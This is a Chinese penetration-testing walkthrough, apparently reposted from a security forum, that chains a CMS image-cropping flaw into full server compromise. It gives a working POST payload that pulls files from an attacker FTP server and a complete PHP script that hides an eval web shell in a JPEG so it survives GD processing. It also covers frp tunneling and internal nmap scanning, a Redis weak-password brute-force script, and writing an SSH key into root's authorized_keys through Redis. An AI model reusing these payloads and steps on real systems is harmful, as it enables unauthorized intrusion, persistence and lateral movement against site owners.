前言
首先,这个站点有一个前台getshell的漏洞
根据里面漏洞代码直接取post数据后缀作为后缀这一特性,且CMS支持FTP。
利用FTP上传图片,通过下载上传的正常图片(已被PHP的GD库渲染)之后,
利用脚本在图片中插入payload,
再次利用FTP上传达到GET Shell的目的
payload如下
POST /index.php?case=tool&act=cut_image
pic=1ftp://*.*.*.*/shell.php&w=228&h=146&x1=0&x2=228&y1=0&y2=146
搭建FTP服务器
我这里使用ubantu进行搭建
安装VSFTPD
sudo apt-get install vsftpd
安装完成后启动VSFTPD服务
service vsftpd start
新建目录/home/uftp作为用户主目录
sudo mkdir /home/uftp,最后我搭建完,主目录不是这里,/srv/ftp,这个才是
新建用户uftp,制定用户主目录和所用shell,并设置密码
sudo useradd -d /home/uftp -s /bin/bash uftp
sudo passwd uftp
然后将目录/home/uftp的所属者和所属组都改为uftp
sudo chown uftp:uftp /home/uftp
新建文件/etc/vsftpd.user_list,用于存放允许访问ftp的用户
sudo vim /etc/vsftpd.user_list,添加用户uftp
最后设置匿名访问
vim /etc/vsftpd.conf
write_enable=YES
anonymous_enable=YES
anon_upload_enable=YES
anon_other_write_enable=YES
anon_world_readable_only=NO
重启vsftpd服务,假如不行则设置相应的权限
Getshell
步骤:
将一张比较大的图片上传到ftp,注意选图,避免踩坑
利用上述POC,将图片上传到目标服务器,上传成功之后再将图片保存下来
/index.php?case=tool&act=cut_image
pic=1ftp://*.*.*.*/*.jpg&w=228&h=146&x1=0&x2=228&y1=0&y2=146
保存图片之后,利用脚本在里面进行加shell,脚本如下
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
// $miniPayload = $argv[2];
$miniPayload = '<?php eval($_POST[1]);?>'; //在这里进行加木马
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
放入有php环境中,运行:php exp.php *.jpg,即可得到绕过GD的图片马,再将其改为php文件进行上传
POST /index.php?case=tool&act=cut_image
pic=1ftp://*.*.*.*/*.php&w=228&h=146&x1=0&x2=228&y1=0&y2=146
反弹Shell
天下武功,无坚不摧,唯快不破,是时候祭出蚁剑了
这台机子是在内网,加上我也不会linux提权,只能代理出来看看内网有没有其他机子
我这里使用frp这一代理工具,将其上传到目标服务器
server_addr为VPS地址,port则是监听端口
配置好之后将其上传到目标,并chmod +x frpc,赋予执行权限
VPS中的
赋予执行权限,运行
蚁剑中运行frpc
Kali扫描内网
vim /etc/proxychains.conf
修改好之后进行保存,使用nmap进行扫描常见的端口进行探测
proxychains nmap -sT sV -Pn -n 172.20.0.1-255 -p 80,8080,445,3306,1433,7001,6379,9090,50000,50030,7002,3389,21,22
发现172.20.0.2这台服务器开放6379端口,可以尝试扫描其是否存在redis未授权访问等漏洞
1.py代码如下
#!/usr/bin/python3
# -*- coding: utf-8 -*-
"""
@Author: r0cky
@Time: 2019/9/2-17:35
"""
import socket
import sys
passwds = ['redis','root','oracle','password','p@ssw0rd','abc123!','123456','admin','abc123']
def check(ip, port, timeout):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print u"[INFO] connecting " + ip + u":" + port
s.connect((ip, int(port)))
print u"[INFO] connected "+ip+u":"+port+u" hacking..."
s.send("INFO\r\n")
result = s.recv(1024)
if "redis_version" in result:
return u"[HACKED] 未授权访问"
elif "Authentication" in result:
for passwd in passwds:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("AUTH %s\r\n" %(passwd))
# print u"[HACKING] hacking to passwd --> "+passwd
result = s.recv(1024)
if 'OK' in result:
return u"[HACKED] 存在弱口令,密码:%s" % (passwd)
s.close()
except Exception, e:
if len(e.message) != 0:
print u"[ERROR] "+e.message
return u"[INFO] 目标Redis服务,暂不存在未授权和弱口令漏洞!"
if __name__ == '__main__':
ip=sys.argv[1]
# default Port
port="6379"
if len(sys.argv) >= 3:
port=sys.argv[2]
result = check(ip,port, timeout=10)
print result
if "HACKED" in result:
print u"[END] Start your hacking journey !!!"
kali安装redis
wget http://download.redis.io/releases/redis-2.8.3.tar.gz,下载
tar -zxvf redis-2.8.3.tar.gz,解压
cd redis-2.8.3/
make, 编译
redis漏洞利用
修改frpc.ini,将172.20.0.2的6379转发到VPS中的6379中
修改完成之后,重新启动代理
随后kali中生成一个公钥
ssh-keygen -t rsa
默认情况下,生成后在/root/.ssh 目录下,将生成的公钥的值写入目标服务器
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
cat /tmp/foo.txt | /root/redis-2.8.3/src/redis-cli -h VPS -p 6379 -x set crackit
连接进去,将目录设置为 /root/.ssh/ 目录后,再将备份文件名设置为 authorized_keys
,通过 save 指令即可写入文件
最后再修改frpc.ini,进行转发22端口
重新启动frpc
ssh -p 669 root@VPS -i /root/.ssh/id_rsa
利用成功
转自先知社区